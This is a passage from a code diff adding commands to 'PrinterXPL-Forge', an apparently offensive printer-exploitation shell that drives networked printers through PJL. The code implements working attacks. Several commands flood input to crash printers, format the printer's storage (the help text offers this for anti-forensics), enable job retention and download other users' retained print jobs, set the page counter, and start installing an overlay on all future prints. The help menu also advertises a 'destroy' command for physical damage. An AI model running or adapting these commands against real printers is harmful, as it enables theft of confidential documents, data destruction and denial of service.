|
|
1237
|
+
"Flood user input, may reveal buffer overflows: flood <size>"
|
|
1238
|
+
size = conv().int(arg) or 10000 # buffer size
|
|
1239
|
+
output().warning(f"Flooding with {size} bytes...")
|
|
1240
|
+
|
|
1241
|
+
# Create flood data
|
|
1242
|
+
flood_data = "A" * size
|
|
1243
|
+
self.cmd("@PJL DISPLAY " + c.QUOTE + flood_data + c.QUOTE, False)
|
|
1244
|
+
output().info("Flood command sent")
|
|
1245
|
+
|
|
1246
|
+
def help_flood(self):
|
|
1247
|
+
"""Show help for flood command"""
|
|
1248
|
+
print()
|
|
1249
|
+
print("flood - Flood printer input to test for buffer overflows")
|
|
1250
|
+
print("=" * 60)
|
|
1251
|
+
print("DESCRIPTION:")
|
|
1252
|
+
print(" Sends a large amount of data to test for buffer overflow")
|
|
1253
|
+
print(" vulnerabilities in the printer's input handling.")
|
|
1254
|
+
print()
|
|
1255
|
+
print("USAGE:")
|
|
1256
|
+
print(" flood [size]")
|
|
1257
|
+
print()
|
|
1258
|
+
print("EXAMPLES:")
|
|
1259
|
+
print(" flood # Flood with 10000 bytes")
|
|
1260
|
+
print(" flood 50000 # Flood with 50000 bytes")
|
|
1261
|
+
print(" flood 100000 # Large flood test")
|
|
1262
|
+
print()
|
|
1263
|
+
print("NOTES:")
|
|
1264
|
+
print(" - Default size is 10000 bytes")
|
|
1265
|
+
print(" - May crash or hang the printer")
|
|
1266
|
+
print(" - Used to discover buffer overflow vulnerabilities")
|
|
1267
|
+
print(" - Printer may need restart after flooding")
|
|
1268
|
+
print()
|
|
1269
|
+
|
|
1270
|
+
def do_hold(self, arg):
|
|
1271
|
+
"Enable job retention"
|
|
1272
|
+
self.chitchat("Enabling job retention...")
|
|
1273
|
+
self.cmd("@PJL SET JOBRETENTION=ON")
|
|
1274
|
+
output().info("Job retention enabled")
|
|
1275
|
+
|
|
1276
|
+
def help_hold(self):
|
|
1277
|
+
"""Show help for hold command"""
|
|
1278
|
+
print()
|
|
1279
|
+
print("hold - Enable job retention on the printer")
|
|
1280
|
+
print("=" * 60)
|
|
1281
|
+
print("DESCRIPTION:")
|
|
1282
|
+
print(" Enables job retention mode, causing print jobs to be held")
|
|
1283
|
+
print(" in memory rather than printed immediately.")
|
|
1284
|
+
print()
|
|
1285
|
+
print("USAGE:")
|
|
1286
|
+
print(" hold")
|
|
1287
|
+
print()
|
|
1288
|
+
print("EXAMPLES:")
|
|
1289
|
+
print(" hold # Enable job retention")
|
|
1290
|
+
print()
|
|
1291
|
+
print("NOTES:")
|
|
1292
|
+
print(" - Jobs are held until manually released")
|
|
1293
|
+
print(" - Can be used to capture print jobs")
|
|
1294
|
+
print(" - Use capture command to retrieve held jobs")
|
|
1295
|
+
print(" - May fill up printer memory")
|
|
1296
|
+
print()
|
|
1297
|
+
|
|
1298
|
+
def do_format(self, arg):
|
|
1299
|
+
"Initialize printer's mass storage file system"
|
|
1300
|
+
output().warning("This will format the printer's file system!")
|
|
1301
|
+
confirm = input("Are you sure? (yes/no): ")
|
|
1302
|
+
if confirm.lower() == 'yes':
|
|
1303
|
+
self.cmd("@PJL FORMAT", False)
|
|
1304
|
+
output().info("File system formatted")
|
|
1305
|
+
else:
|
|
1306
|
+
output().info("Format cancelled")
|
|
1307
|
+
|
|
1308
|
+
def help_format(self):
|
|
1309
|
+
"""Show help for format command"""
|
|
1310
|
+
print()
|
|
1311
|
+
print("format - Initialize/format printer's file system")
|
|
1312
|
+
print("=" * 60)
|
|
1313
|
+
print("DESCRIPTION:")
|
|
1314
|
+
print(" **DESTRUCTIVE** - Formats the printer's mass storage device,")
|
|
1315
|
+
print(" erasing all stored files, configurations, and data.")
|
|
1316
|
+
print()
|
|
1317
|
+
print("USAGE:")
|
|
1318
|
+
print(" format")
|
|
1319
|
+
print()
|
|
1320
|
+
print("EXAMPLES:")
|
|
1321
|
+
print(" format # Format file system")
|
|
1322
|
+
print()
|
|
1323
|
+
print("WARNINGS:")
|
|
1324
|
+
print(" ⚠️ ALL DATA WILL BE LOST")
|
|
1325
|
+
print(" ⚠️ CANNOT BE UNDONE")
|
|
1326
|
+
print(" ⚠️ REQUIRES CONFIRMATION")
|
|
1327
|
+
print()
|
|
1328
|
+
print("NOTES:")
|
|
1329
|
+
print(" - Erases all files and directories")
|
|
1330
|
+
print(" - Cannot be undone")
|
|
1331
|
+
print(" - Requires 'yes' confirmation")
|
|
1332
|
+
print(" - Use for cleanup or anti-forensics")
|
|
1333
|
+
print()
|
|
1334
|
+
|
|
1335
|
+
# --------------------------------------------------------------------
|
|
1336
|
+
# 🌐 REDE E CONECTIVIDADE (5 comandos)
|
|
1337
|
+
# --------------------------------------------------------------------
|
|
1338
|
+
|
|
1339
|
+
def do_network(self, arg):
|
|
1340
|
+
"Show comprehensive network information including WiFi"
|
|
1341
|
+
print("Network Information:")
|
|
1342
|
+
print("=" * 50)
|
|
1343
|
+
|
|
1344
|
+
# Get network info
|
|
1345
|
+
net_info = self.cmd("@PJL INFO NETWORK")
|
|
1346
|
+
if net_info:
|
|
1347
|
+
print("Network Configuration:")
|
|
1348
|
+
print(net_info)
|
|
1349
|
+
|
|
1350
|
+
# Get IP configuration
|
|
1351
|
+
ip_info = self.cmd("@PJL INFO IP")
|
|
1352
|
+
if ip_info:
|
|
1353
|
+
print("\nIP Configuration:")
|
|
1354
|
+
print(ip_info)
|
|
1355
|
+
|
|
1356
|
+
# Get WiFi info
|
|
1357
|
+
wifi_info = self.cmd("@PJL INFO WIFI")
|
|
1358
|
+
if wifi_info:
|
|
1359
|
+
print("\nWi-Fi Information:")
|
|
1360
|
+
print(wifi_info)
|
|
1361
|
+
else:
|
|
1362
|
+
output().info("Wi-Fi information not available")
|
|
1363
|
+
|
|
1364
|
+
def do_direct(self, *arg):
|
|
1365
|
+
"Show direct-print configuration"
|
|
1366
|
+
print("Direct Print Configuration:")
|
|
1367
|
+
print("=" * 50)
|
|
1368
|
+
|
|
1369
|
+
# Get direct print info
|
|
1370
|
+
direct_info = self.cmd("@PJL INFO DIRECT")
|
|
1371
|
+
if direct_info:
|
|
1372
|
+
print(direct_info)
|
|
1373
|
+
else:
|
|
1374
|
+
output().info("Direct print information not available")
|
|
1375
|
+
|
|
1376
|
+
def help_direct(self):
|
|
1377
|
+
"""Show help for direct command"""
|
|
1378
|
+
print()
|
|
1379
|
+
print("direct - Show direct-print configuration")
|
|
1380
|
+
print("=" * 60)
|
|
1381
|
+
print("DESCRIPTION:")
|
|
1382
|
+
print(" Displays the printer's direct-print configuration, showing")
|
|
1383
|
+
print(" how the printer handles direct port printing.")
|
|
1384
|
+
print()
|
|
1385
|
+
print("USAGE:")
|
|
1386
|
+
print(" direct")
|
|
1387
|
+
print()
|
|
1388
|
+
print("EXAMPLES:")
|
|
1389
|
+
print(" direct # Show direct-print config")
|
|
1390
|
+
print()
|
|
1391
|
+
print("NOTES:")
|
|
1392
|
+
print(" - Shows direct printing settings")
|
|
1393
|
+
print(" - Not all printers support this")
|
|
1394
|
+
print(" - Useful for understanding print flow")
|
|
1395
|
+
print()
|
|
1396
|
+
|
|
1397
|
+
def do_execute(self, arg):
|
|
1398
|
+
"Execute arbitrary PJL command: execute <command>"
|
|
1399
|
+
if not arg:
|
|
1400
|
+
output().errmsg("Usage: execute <command>")
|
|
1401
|
+
return
|
|
1402
|
+
|
|
1403
|
+
output().info(f"Executing: {arg}")
|
|
1404
|
+
result = self.cmd(arg)
|
|
1405
|
+
if result:
|
|
1406
|
+
print(result)
|
|
1407
|
+
|
|
1408
|
+
def help_execute(self):
|
|
1409
|
+
"""Show help for execute command"""
|
|
1410
|
+
print()
|
|
1411
|
+
print("execute - Execute arbitrary PJL command")
|
|
1412
|
+
print("=" * 60)
|
|
1413
|
+
print("DESCRIPTION:")
|
|
1414
|
+
print(" Sends a raw PJL command directly to the printer without")
|
|
1415
|
+
print(" interpretation. Useful for testing custom commands.")
|
|
1416
|
+
print()
|
|
1417
|
+
print("USAGE:")
|
|
1418
|
+
print(" execute <command>")
|
|
1419
|
+
print()
|
|
1420
|
+
print("EXAMPLES:")
|
|
1421
|
+
print(" execute @PJL INFO STATUS # Get status")
|
|
1422
|
+
print(" execute @PJL SET TIMEOUT=90 # Set timeout")
|
|
1423
|
+
print(" execute @PJL INQUIRE COPIES # Query setting")
|
|
1424
|
+
print()
|
|
1425
|
+
print("NOTES:")
|
|
1426
|
+
print(" - Command is sent as-is")
|
|
1427
|
+
print(" - No validation performed")
|
|
1428
|
+
print(" - Use for testing custom PJL commands")
|
|
1429
|
+
print(" - Requires knowledge of PJL syntax")
|
|
1430
|
+
print(" - May crash printer if invalid")
|
|
1431
|
+
print()
|
|
1432
|
+
|
|
1433
|
+
|
|
1434
|
+
# --------------------------------------------------------------------
|
|
1435
|
+
# 📊 MONITORAMENTO (2 comandos)
|
|
1436
|
+
# --------------------------------------------------------------------
|
|
1437
|
+
|
|
1438
|
+
def do_pagecount(self, arg):
|
|
1439
|
+
"Manipulate printer's page counter: pagecount <number>"
|
|
1440
|
+
if not arg:
|
|
1441
|
+
# Just show current page count
|
|
1442
|
+
count = self.cmd("@PJL INFO PAGECOUNT")
|
|
1443
|
+
if count:
|
|
1444
|
+
print(f"Current page count: {count.strip()}")
|
|
1445
|
+
else:
|
|
1446
|
+
try:
|
|
1447
|
+
new_count = int(arg)
|
|
1448
|
+
self.cmd(f"@PJL SET PAGECOUNT={new_count}")
|
|
1449
|
+
output().info(f"Page count set to {new_count}")
|
|
1450
|
+
except ValueError:
|
|
1451
|
+
output().errmsg("Invalid page count value")
|
|
1452
|
+
|
|
1453
|
+
def help_pagecount(self):
|
|
1454
|
+
"""Show help for pagecount command"""
|
|
1455
|
+
print()
|
|
1456
|
+
print("pagecount - Manipulate printer's page counter")
|
|
1457
|
+
print("Usage: pagecount [number]")
|
|
1458
|
+
print("Shows current page count or sets it to a specific number.")
|
|
1459
|
+
print("Example: pagecount 1000")
|
|
1460
|
+
print()
|
|
1461
|
+
|
|
1462
|
+
# --------------------------------------------------------------------
|
|
1463
|
+
# HELP SYSTEM
|
|
1464
|
+
# --------------------------------------------------------------------
|
|
1465
|
+
|
|
1466
|
+
def help_filesystem(self):
|
|
1467
|
+
"""Show help for filesystem commands"""
|
|
1468
|
+
print()
|
|
1469
|
+
print("Filesystem Commands:")
|
|
1470
|
+
print("=" * 50)
|
|
1471
|
+
print("ls - List directory contents")
|
|
1472
|
+
print("mkdir - Create directory")
|
|
1473
|
+
print("find - Find files recursively")
|
|
1474
|
+
print("upload - Upload file to printer")
|
|
1475
|
+
print("download - Download file from printer")
|
|
1476
|
+
print("delete - Delete file")
|
|
1477
|
+
print("copy - Copy file")
|
|
1478
|
+
print("move - Move file")
|
|
1479
|
+
print("touch - Create/update file")
|
|
1480
|
+
print("chmod - Change file permissions")
|
|
1481
|
+
print("permissions - Test file permissions")
|
|
1482
|
+
print("mirror - Mirror filesystem")
|
|
1483
|
+
print()
|
|
1484
|
+
|
|
1485
|
+
def help_system(self):
|
|
1486
|
+
"""Show help for system information commands"""
|
|
1487
|
+
print()
|
|
1488
|
+
print("System Information Commands:")
|
|
1489
|
+
print("=" * 50)
|
|
1490
|
+
print("id - Show comprehensive printer identification and system information")
|
|
1491
|
+
print("variables - Show environment variables")
|
|
1492
|
+
print("printenv - Show specific variable")
|
|
1493
|
+
print()
|
|
1494
|
+
|
|
1495
|
+
def help_control(self):
|
|
1496
|
+
"""Show help for control commands"""
|
|
1497
|
+
print()
|
|
1498
|
+
print("Control Commands:")
|
|
1499
|
+
print("=" * 50)
|
|
1500
|
+
print("set - Set environment variable")
|
|
1501
|
+
print("display - Set display message")
|
|
1502
|
+
print("offline - Take printer offline")
|
|
1503
|
+
print("restart - Restart printer")
|
|
1504
|
+
print("reset - Reset to factory defaults")
|
|
1505
|
+
print("selftest - Perform self-tests")
|
|
1506
|
+
print("backup - Backup configuration")
|
|
1507
|
+
print("restore - Restore configuration")
|
|
1508
|
+
print()
|
|
1509
|
+
|
|
1510
|
+
def help_security(self):
|
|
1511
|
+
"""Show help for security commands"""
|
|
1512
|
+
print()
|
|
1513
|
+
print("Security Commands:")
|
|
1514
|
+
print("=" * 50)
|
|
1515
|
+
print("lock - Lock printer with PIN")
|
|
1516
|
+
print("unlock - Unlock printer")
|
|
1517
|
+
print("disable - Disable functionality")
|
|
1518
|
+
print("nvram - Access NVRAM")
|
|
1519
|
+
print()
|
|
1520
|
+
|
|
1521
|
+
def help_attacks(self):
|
|
1522
|
+
"""Show help for attack commands"""
|
|
1523
|
+
print()
|
|
1524
|
+
print("Attack Commands:")
|
|
1525
|
+
print("=" * 50)
|
|
1526
|
+
print("destroy - Cause physical damage")
|
|
1527
|
+
print("flood - Flood with data")
|
|
1528
|
+
print("hold - Enable job retention")
|
|
1529
|
+
print("format - Format filesystem")
|
|
1530
|
+
print()
|
|
1531
|
+
|
|
1532
|
+
def help_network(self):
|
|
1533
|
+
"""Show help for network commands"""
|
|
1534
|
+
print()
|
|
1535
|
+
print("Network Commands:")
|
|
1536
|
+
print("=" * 50)
|
|
1537
|
+
print("network - Show comprehensive network information including WiFi")
|
|
1538
|
+
print("direct - Show direct print config")
|
|
1539
|
+
print("execute - Execute arbitrary PJL command")
|
|
1540
|
+
print("load - Load commands from file")
|
|
1541
|
+
print()
|
|
1542
|
+
|
|
1543
|
+
def help_monitoring(self):
|
|
1544
|
+
"""Show help for monitoring commands"""
|
|
1545
|
+
print()
|
|
1546
|
+
print("Monitoring Commands:")
|
|
1547
|
+
print("=" * 50)
|
|
1548
|
+
print("pagecount - Manipulate page counter")
|
|
1549
|
+
print("status - Toggle status messages")
|
|
1550
|
+
print()
|
|
1551
|
+
|
|
1552
|
+
def do_test_interrupt(self, arg):
|
|
1553
|
+
"Test interrupt handling system"
|
|
1554
|
+
output().info("Testing interrupt handling system...")
|
|
1555
|
+
output().info("This command will run for 10 seconds. Press Ctrl+C to interrupt.")
|
|
1556
|
+
|
|
1557
|
+
try:
|
|
1558
|
+
for i in range(100): # 10 seconds with 0.1 second intervals
|
|
1559
|
+
if hasattr(self, 'interrupted') and self.interrupted:
|
|
1560
|
+
output().warning("Test interrupted by user")
|
|
1561
|
+
return
|
|
1562
|
+
|
|
1563
|
+
output().info(f"Test running... {i+1}/100")
|
|
1564
|
+
time.sleep(0.1)
|
|
1565
|
+
|
|
1566
|
+
except KeyboardInterrupt:
|
|
1567
|
+
output().warning("Test interrupted by keyboard")
|
|
1568
|
+
return
|
|
1569
|
+
|
|
1570
|
+
output().info("Test completed successfully")
|
|
1571
|
+
|
|
1572
|
+
def help_test_interrupt(self):
|
|
1573
|
+
"""Show help for test_interrupt command"""
|
|
1574
|
+
print()
|
|
1575
|
+
print("test_interrupt - Test interrupt handling system")
|
|
1576
|
+
print("Usage: test_interrupt")
|
|
1577
|
+
print("Tests the interrupt handling system by running a timed operation.")
|
|
1578
|
+
print("Use Ctrl+C to interrupt the test.")
|
|
1579
|
+
print()
|
|
1580
|
+
|
|
1581
|
+
def do_help(self, arg):
|
|
1582
|
+
"""Show help for commands"""
|
|
1583
|
+
if not arg:
|
|
1584
|
+
print()
|
|
1585
|
+
from version import __version__
|
|
1586
|
+
print(f"PrinterXPL-Forge v{__version__} - PJL Commands (100% Attack Coverage)")
|
|
1587
|
+
print("=" * 70)
|
|
1588
|
+
print("Available command categories:")
|
|
1589
|
+
print(" filesystem - File system operations (13 commands)")
|
|
1590
|
+
print(" system - System information (3 commands)")
|
|
1591
|
+
print(" information - Advanced info gathering (3 commands)")
|
|
1592
|
+
print(" control - Control and configuration (8 commands)")
|
|
1593
|
+
print(" security - Security and access (4 commands)")
|
|
1594
|
+
print(" attacks - Attack and testing (17 commands) ⚠")
|
|
1595
|
+
print(" network - Network and connectivity (3 commands)")
|
|
1596
|
+
print(" monitoring - Monitoring and status (2 commands)")
|
|
1597
|
+
print(" test - Testing and debugging (1 command)")
|
|
1598
|
+
print()
|
|
1599
|
+
print("Total: 54 PJL commands available")
|
|
1600
|
+
print("Attack coverage: 100% of known PJL attacks")
|
|
1601
|
+
print()
|
|
1602
|
+
print("Use 'help <category>' for detailed help")
|
|
1603
|
+
print("Use 'help <command>' for specific command help")
|
|
1604
|
+
print()
|
|
1605
|
+
elif arg == "filesystem":
|
|
1606
|
+
self.help_filesystem()
|
|
1607
|
+
elif arg == "system":
|
|
1608
|
+
self.help_system()
|
|
1609
|
+
elif arg == "information":
|
|
1610
|
+
self.help_information()
|
|
1611
|
+
elif arg == "control":
|
|
1612
|
+
self.help_control()
|
|
1613
|
+
elif arg == "security":
|
|
1614
|
+
self.help_security()
|
|
1615
|
+
elif arg == "attacks":
|
|
1616
|
+
self.help_attacks()
|
|
1617
|
+
elif arg == "network":
|
|
1618
|
+
self.help_network()
|
|
1619
|
+
elif arg == "monitoring":
|
|
1620
|
+
self.help_monitoring()
|
|
1621
|
+
elif arg == "test":
|
|
1622
|
+
print()
|
|
1623
|
+
print("Test Commands:")
|
|
1624
|
+
print("=" * 70)
|
|
1625
|
+
print(" test_interrupt - Test interrupt handling system")
|
|
1626
|
+
print()
|
|
1627
|
+
else:
|
|
1628
|
+
# Try to find specific command help
|
|
1629
|
+
method_name = f"help_{arg}"
|
|
1630
|
+
if hasattr(self, method_name):
|
|
1631
|
+
getattr(self, method_name)()
|
|
1632
|
+
else:
|
|
1633
|
+
output().errmsg(f"No help available for '{arg}'")
|
|
1634
|
+
|
|
1635
|
+
# --------------------------------------------------------------------
|
|
1636
|
+
# UTILITY METHODS
|
|
1637
|
+
# --------------------------------------------------------------------
|
|
1638
|
+
|
|
1639
|
+
def dirlist(self, path, recursive=False, show_files=True):
|
|
1640
|
+
"""List directory contents"""
|
|
1641
|
+
if not path:
|
|
1642
|
+
path = "."
|
|
1643
|
+
|
|
1644
|
+
try:
|
|
1645
|
+
result = self.cmd("@PJL FSDIRLIST NAME=\"" + path + "\"")
|
|
1646
|
+
if result:
|
|
1647
|
+
return result
|
|
1648
|
+
except Exception as e:
|
|
1649
|
+
output().errmsg(f"Directory listing failed: {e}")
|
|
1650
|
+
return ""
|
|
1651
|
+
|
|
1652
|
+
def fswalk(self, path, operation):
|
|
1653
|
+
"""Walk filesystem recursively"""
|
|
1654
|
+
if not path:
|
|
1655
|
+
path = "."
|
|
1656
|
+
|
|
1657
|
+
try:
|
|
1658
|
+
if operation == "find":
|
|
1659
|
+
result = self.cmd("@PJL FSDIRLIST NAME=\"" + path + "\"")
|
|
1660
|
+
if result:
|
|
1661
|
+
print(result)
|
|
1662
|
+
elif operation == "mirror":
|
|
1663
|
+
output().info(f"Mirroring {path}...")
|
|
1664
|
+
# Implementation would go here
|
|
1665
|
+
except Exception as e:
|
|
1666
|
+
output().errmsg(f"Filesystem walk failed: {e}")
|
|
1667
|
+
|
|
1668
|
+
def chitchat(self, message):
|
|
1669
|
+
"""Display chatty message"""
|
|
1670
|
+
output().info(message)
|
|
1671
|
+
|
|
1672
|
+
def fileerror(self, raw):
|
|
1673
|
+
"""Handle file errors"""
|
|
1674
|
+
if "FILEERROR" in raw:
|
|
1675
|
+
output().errmsg("File operation failed")
|
|
1676
|
+
|
|
1677
|
+
# --------------------------------------------------------------------
|
|
1678
|
+
# OPTIONS AND CONFIGURATION
|
|
1679
|
+
# --------------------------------------------------------------------
|
|
1680
|
+
|
|
1681
|
+
@property
|
|
1682
|
+
def options_info(self):
|
|
1683
|
+
"""Available info categories"""
|
|
1684
|
+
return [
|
|
1685
|
+
"id", "status", "memory", "filesys", "variables", "config",
|
|
1686
|
+
"network", "wifi", "direct", "nvram", "pagecount"
|
|
1687
|
+
]
|
|
1688
|
+
|
|
1689
|
+
# --------------------------------------------------------------------
|
|
1690
|
+
# FILE OPERATIONS (Implementing missing methods from printer base class)
|
|
1691
|
+
# --------------------------------------------------------------------
|
|
1692
|
+
|
|
1693
|
+
def get(self, path):
|
|
1694
|
+
"""
|
|
1695
|
+
Download/read file from printer using PJL FSDOWNLOAD
|
|
1696
|
+
Returns tuple (size, data) or c.NONEXISTENT if file doesn't exist
|
|
1697
|
+
"""
|
|
1698
|
+
try:
|
|
1699
|
+
from utils.helper import const as c
|
|
1700
|
+
|
|
1701
|
+
# Try to download the file using PJL FSDOWNLOAD
|
|
1702
|
+
result = self.cmd(f"@PJL FSDOWNLOAD NAME=\"{path}\"", binary=True)
|
|
1703
|
+
|
|
1704
|
+
if result and len(result) > 0:
|
|
1705
|
+
# File exists and was downloaded
|
|
1706
|
+
return (len(result), result.encode() if isinstance(result, str) else result)
|
|
1707
|
+
else:
|
|
1708
|
+
# File doesn't exist or is empty
|
|
1709
|
+
return c.NONEXISTENT
|
|
1710
|
+
|
|
1711
|
+
except Exception as e:
|
|
1712
|
+
output().errmsg(f"Get file failed: {e}")
|
|
1713
|
+
from utils.helper import const as c
|
|
1714
|
+
return c.NONEXISTENT
|
|
1715
|
+
|
|
1716
|
+
def put(self, path, data):
|
|
1717
|
+
"""
|
|
1718
|
+
Upload/write file to printer using PJL FSUPLOAD
|
|
1719
|
+
Returns size of data written or c.NONEXISTENT on error
|
|
1720
|
+
"""
|
|
1721
|
+
try:
|
|
1722
|
+
from utils.helper import const as c
|
|
1723
|
+
|
|
1724
|
+
# Ensure data is bytes
|
|
1725
|
+
if isinstance(data, str):
|
|
1726
|
+
data = data.encode('utf-8')
|
|
1727
|
+
|
|
1728
|
+
# Upload file using PJL FSUPLOAD
|
|
1729
|
+
self.cmd(f"@PJL FSUPLOAD NAME=\"{path}\" OFFSET=0 SIZE={len(data)}")
|
|
1730
|
+
self.send(data)
|
|
1731
|
+
|
|
1732
|
+
# Return size of data written
|
|
1733
|
+
return len(data)
|
|
1734
|
+
|
|
1735
|
+
except Exception as e:
|
|
1736
|
+
output().errmsg(f"Put file failed: {e}")
|
|
1737
|
+
from utils.helper import const as c
|
|
1738
|
+
return c.NONEXISTENT
|
|
1739
|
+
|
|
1740
|
+
def append(self, path, data):
|
|
1741
|
+
"""
|
|
1742
|
+
Append data to file on printer
|
|
1743
|
+
First reads file, then writes it back with appended data
|
|
1744
|
+
"""
|
|
1745
|
+
try:
|
|
1746
|
+
from utils.helper import const as c
|
|
1747
|
+
|
|
1748
|
+
# Ensure data is string for appending
|
|
1749
|
+
if isinstance(data, bytes):
|
|
1750
|
+
data = data.decode('utf-8')
|
|
1751
|
+
|
|
1752
|
+
# Try to read existing file
|
|
1753
|
+
result = self.get(path)
|
|
1754
|
+
|
|
1755
|
+
if result == c.NONEXISTENT:
|
|
1756
|
+
# File doesn't exist, create new with data
|
|
1757
|
+
existing_data = ""
|
|
1758
|
+
else:
|
|
1759
|
+
# File exists, get its content
|
|
1760
|
+
size, content = result
|
|
1761
|
+
existing_data = content.decode('utf-8') if isinstance(content, bytes) else content
|
|
1762
|
+
|
|
1763
|
+
# Append new data
|
|
1764
|
+
new_data = existing_data + data + "\n"
|
|
1765
|
+
|
|
1766
|
+
# Write back to file
|
|
1767
|
+
return self.put(path, new_data)
|
|
1768
|
+
|
|
1769
|
+
except Exception as e:
|
|
1770
|
+
output().errmsg(f"Append failed: {e}")
|
|
1771
|
+
from utils.helper import const as c
|
|
1772
|
+
return c.NONEXISTENT
|
|
1773
|
+
|
|
1774
|
+
def delete(self, path):
|
|
1775
|
+
"""
|
|
1776
|
+
Delete file using PJL FSDELETE
|
|
1777
|
+
"""
|
|
1778
|
+
try:
|
|
1779
|
+
self.cmd(f"@PJL FSDELETE NAME=\"{path}\"")
|
|
1780
|
+
output().info(f"Deleted {path}")
|
|
1781
|
+
return True
|
|
1782
|
+
except Exception as e:
|
|
1783
|
+
output().errmsg(f"Delete failed: {e}")
|
|
1784
|
+
return False
|
|
1785
|
+
|
|
1786
|
+
# ====================================================================
|
|
1787
|
+
# 🎯 PRINT JOB MANIPULATION COMMANDS (P0 - CRITICAL)
|
|
1788
|
+
# ====================================================================
|
|
1789
|
+
# Commands for capturing and manipulating print jobs
|
|
1790
|
+
|
|
1791
|
+
def do_capture(self, arg):
|
|
1792
|
+
"""Capture and download retained print jobs from printer"""
|
|
1793
|
+
output().info("Querying retained print jobs...")
|
|
1794
|
+
|
|
1795
|
+
# Method 1: Query job information
|
|
1796
|
+
jobs_info = self.cmd("@PJL INFO JOBS")
|
|
1797
|
+
if jobs_info and len(jobs_info.strip()) > 0:
|
|
1798
|
+
print("Jobs in queue:")
|
|
1799
|
+
print("=" * 60)
|
|
1800
|
+
print(jobs_info)
|
|
1801
|
+
print("=" * 60)
|
|
1802
|
+
else:
|
|
1803
|
+
output().warning("No jobs found via INFO JOBS")
|
|
1804
|
+
|
|
1805
|
+
# Method 2: List job files in filesystem (try multiple volumes)
|
|
1806
|
+
job_paths_to_try = [
|
|
1807
|
+
("0:", "jobs"),
|
|
1808
|
+
("0:", "webServer/jobs"),
|
|
1809
|
+
("1:", "saveDevice/SavedJobs/InProgress"),
|
|
1810
|
+
("1:", "saveDevice/SavedJobs/KeepJobs"),
|
|
1811
|
+
("1:", "savedJobs"),
|
|
1812
|
+
("2:", "jobs"),
|
|
1813
|
+
]
|
|
1814
|
+
|
|
1815
|
+
jobs_found = False
|
|
1816
|
+
for vol, job_path in job_paths_to_try:
|
|
1817
|
+
full_path = f"{vol}/{job_path}"
|
|
1818
|
+
output().info(f"Checking {full_path}...")
|
|
1819
|
+
|
|
1820
|
+
try:
|
|
1821
|
+
result = self.cmd(f"@PJL FSDIRLIST NAME=\"{full_path}\"")
|
|
1822
|
+
if result and len(result.strip()) > 20:
|
|
1823
|
+
jobs_found = True
|
|
1824
|
+
print(f"\n✓ Jobs found in {full_path}:")
|
|
1825
|
+
print("=" * 60)
|
|
1826
|
+
print(result)
|
|
1827
|
+
print("=" * 60)
|
|
1828
|
+
|
|
1829
|
+
# Parse and download if requested
|
|
1830
|
+
if arg == "download" or arg == "all":
|
|
1831
|
+
job_files = self.parse_dirlist(result)
|
|
1832
|
+
for job_file in job_files:
|
|
1833
|
+
if job_file and not job_file.startswith('.'):
|
|
1834
|
+
job_full_path = f"{full_path}/{job_file}"
|
|
1835
|
+
output().info(f"Downloading {job_file}...")
|
|
1836
|
+
self.do_download(f"{job_full_path} captured_{job_file}")
|
|
1837
|
+
except Exception as e:
|
|
1838
|
+
if self.debug:
|
|
1839
|
+
output().errmsg(f"Error checking {full_path}: {e}")
|
|
1840
|
+
|
|
1841
|
+
if not jobs_found:
|
|
1842
|
+
output().warning("No print jobs found in filesystem")
|
|
1843
|
+
output().info("Try enabling job retention first: hold")
|
|
1844
|
+
|
|
1845
|
+
def help_capture(self):
|
|
1846
|
+
"""Capture retained print jobs from printer"""
|
|
1847
|
+
print()
|
|
1848
|
+
print("capture - Capture retained print jobs from printer")
|
|
1849
|
+
print("=" * 70)
|
|
1850
|
+
print("DESCRIPTION:")
|
|
1851
|
+
print(" Captures and downloads print jobs that have been retained by the printer.")
|
|
1852
|
+
print(" This can reveal sensitive documents that were printed by other users.")
|
|
1853
|
+
print(" Requires job retention to be enabled (use 'hold' command first).")
|
|
1854
|
+
print()
|
|
1855
|
+
print("USAGE:")
|
|
1856
|
+
print(" capture # List all retained jobs")
|
|
1857
|
+
print(" capture download # List and download all jobs")
|
|
1858
|
+
print(" capture all # Same as download")
|
|
1859
|
+
print()
|
|
1860
|
+
print("EXAMPLES:")
|
|
1861
|
+
print(" hold # Enable job retention first")
|
|
1862
|
+
print(" capture # List retained jobs")
|
|
1863
|
+
print(" capture download # Download all jobs to local directory")
|
|
1864
|
+
print()
|
|
1865
|
+
print("SECURITY IMPACT: CRITICAL")
|
|
1866
|
+
print(" - Access to other users' documents")
|
|
1867
|
+
print(" - Potential data breach")
|
|
1868
|
+
print(" - Confidential information exposure")
|
|
1869
|
+
print()
|
|
1870
|
+
print("NOTES:")
|
|
1871
|
+
print(" - Jobs are searched in multiple volumes (0:, 1:, 2:)")
|
|
1872
|
+
print(" - Downloaded jobs are saved with 'captured_' prefix")
|
|
1873
|
+
print(" - Some printers automatically delete jobs after time")
|
|
1874
|
+
print(" - Works best after enabling job retention")
|
|
1875
|
+
print()
|
|
1876
|
+
|
|
1877
|
+
def parse_dirlist(self, dirlist):
|
|
1878
|
+
"""Parse FSDIRLIST output to extract filenames"""
|
|
1879
|
+
files = []
|
|
1880
|
+
for line in dirlist.split('\n'):
|
|
1881
|
+
# Parse format: ENTRY=1 NAME="file" SIZE=1234 TYPE=FILE
|
|
1882
|
+
match = re.search(r'NAME="([^"]+)"', line)
|
|
1883
|
+
if match:
|
|
1884
|
+
filename = match.group(1)
|
|
1885
|
+
# Skip directories
|
|
1886
|
+
if 'TYPE=DIR' not in line.upper():
|
|
1887
|
+
files.append(filename)
|
|
1888
|
+
return files
|
|
1889
|
+
|
|
1890
|
+
def do_overlay(self, arg):
|
|
1891
|
+
"""Overlay attack - add watermark/content to all print jobs"""
|
|
1892
|
+
if not arg:
|
|
1893
|
+
output().errmsg("Usage: overlay <eps_file>")
|
|
1894
|
+
output().info("Creates overlay that will be printed on all documents")
|
|
1895
|
+
output().info("Example: overlay watermark.eps")
|
|
1896
|
+
return
|
|
1897
|
+
|
|
1898
|
+
# Read overlay file (should be EPS format for best compatibility)
|
|
1899
|
+
if not os.path.exists(arg):
|
|
1900
|
+
output().errmsg(f"File not found: {arg}")
|
|
1901
|
+
output().info("Overlay file should be in EPS (Encapsulated PostScript) format")
|
|
1902
|
+
return
|
|
1903
|
+
|
|
1904
|
+
overlay_data = file().read(arg)
|
|
1905
|
+
if not overlay_data:
|
|
1906
|
+
return
|
|
1907
|
+
|
|
1908
|
+
output().warning("═" * 70)
|
|
1909
|
+
output().warning("DANGER: Installing overlay attack!")
|
|
1910
|
+
output().warning("This will affect ALL future print jobs on this printer!")
|
|
1911
|
+
